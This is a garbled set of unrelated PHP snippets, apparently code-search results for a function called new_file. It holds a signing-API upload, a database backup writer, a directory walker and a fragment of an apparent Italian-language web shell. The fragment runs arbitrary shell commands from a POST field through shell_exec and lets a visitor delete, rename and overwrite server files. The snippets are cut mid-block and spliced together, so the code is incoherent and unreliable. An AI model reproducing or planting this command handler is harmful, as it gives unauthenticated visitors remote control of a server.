/** * Upload a document and create signature list */ function create_with_list() { global $client; $name = new_file(); $signers = array(array("email" => "*****@*****.**", "act" => 'sign'), array("email" => "*****@*****.**", "act" => 'sign'), array("email" => "*****@*****.**", "act" => 'witness')); $options = array("signers" => $signers, "message" => "Please sign this documentationssasss", "skipEmail" => false); $result = $client->documents->upload($name, $options); return $result->document->key; }
function WriteToDumpFile() { global $config, $dump, $buffer; $dump['filesize'] = 0; $df = $config['paths']['backup'] . $dump['backupdatei']; if ($config['compression'] == 1) { if ($dump['data'] != '') { $fp = gzopen($df, 'ab'); gzwrite($fp, $dump['data']); gzclose($fp); } } else { if ($dump['data'] != '') { $fp = fopen($df, 'ab'); fwrite($fp, $dump['data']); fclose($fp); } } $dump['data'] = ''; if (!isset($dump['fileoperations'])) { $dump['fileoperations'] = 0; } $dump['fileoperations']++; if ($config['multi_part'] == 1) { clearstatcache(); } $dump['filesize'] = filesize($df); if ($config['multi_part'] == 1 && $dump['filesize'] + $buffer > $config['multipart_groesse']) { @chmod($df, 0777); new_file($dump['filesize']); // Wenn maximale Dateigroesse erreicht -> neues File starten } }
} if ($config['send_mail'] == 1) { DoEmail(); } for ($i = 0; $i < 3; $i++) { if ($config['ftp_transfer'][$i] == 1) { DoFTP($i); } } if (isset($flipped[$adbname])) { $dump['dbindex'] = $flipped[$adbname]; } $dump['part_offset'] = $dump['part'] - 1; $out .= '</div><br>'; ExecuteCommand('b'); new_file(); } $aktuelle_tabelle = $dump['table_offset']; if ($dump['zeilen_offset'] == 0) { if ($config['minspeed'] > 0) { $dump['anzahl_zeilen'] = $config['minspeed']; $dump['restzeilen'] = $config['minspeed']; } $create_statement = ''; $create_statement = get_def($adbname, $table); if (!($create_statement === false)) { $dump['data'] .= $create_statement; } else { WriteToDumpFile(); // save data we have up to now // error reading table definition
} elseif ($_POST['go_cmd']) { $cmd_output = shell_exec($_POST['cmd']); echo "output di " . $_POST['cmd'] . "<br><hr><pre>" . $cmd_output . "</pre><hr><br>"; } elseif ($_POST['go_rename']) { echo "sto rinominando il file...."; if (rename($_POST['old_name'], $_POST['new_name'])) { echo "<br>file rinominato con successo.."; } } elseif ($Wfileremove != '') { echo "rimozine file " . htmlspecialchars($Wfileremove); unlink($Wfileremove) ? die(" riuscita") : die(" fallita forse non hai i permessi di scrittura....."); } elseif ($Wfileimage != '') { echo "<img src='" . $Wfileimage . "' />"; } elseif ($_POST['new_file']) { $file = $_POST['name_new_file']; new_file($file, $_POST['new_file_text']); } elseif ($Wfiledit != '') { if (!(is_writable($Wfiledit) and is_readable($Wfiledit))) { die("file non leggibbile e/o scrivibile"); } $fldtp = fopen($Wfiledit, 'r'); $testo = htmlspecialchars(fread($fldtp, filesize($Wfiledit))); fclose($fldtp); echo "<center><form action='" . $_SERVER['PHP_SELF'] . "?filetoedit=" . $Wfiledit . "' method=POST> \n <textarea rows='50' cols='200' name='test'>" . $testo . "</textarea><br /> \n <input type='submit' name='save_edit_change' value='save'></form> "; } elseif ($Wfiletoedit and $_POST['save_edit_change']) { $file_change_text = fopen($Wfiletoedit, 'w+'); echo "salvataggio in " . htmlspecialchars($Wfiletoedit) . "<br />"; $testo_new = gpc_text($_POST['test']); fwrite($file_change_text, $testo_new); fclose($file_change_text); echo "salvataggio eseguito con successo....";
/** * @param $dir_name */ function read_dir($dir_name) { if (!($dp = opendir($dir_name))) { die("can not open directory:{$dir_name}"); } $file_names = []; while ($file = readdir($dp)) { $file_names[] = $file; } sort($file_names); foreach ($file_names as $file) { $n_dir = $dir_name . "/" . $file; if ($file !== "." && $file !== "..") { if (is_dir($n_dir)) { new_dir($n_dir); read_dir($n_dir); } else { new_file($n_dir); } } } closedir($dp); }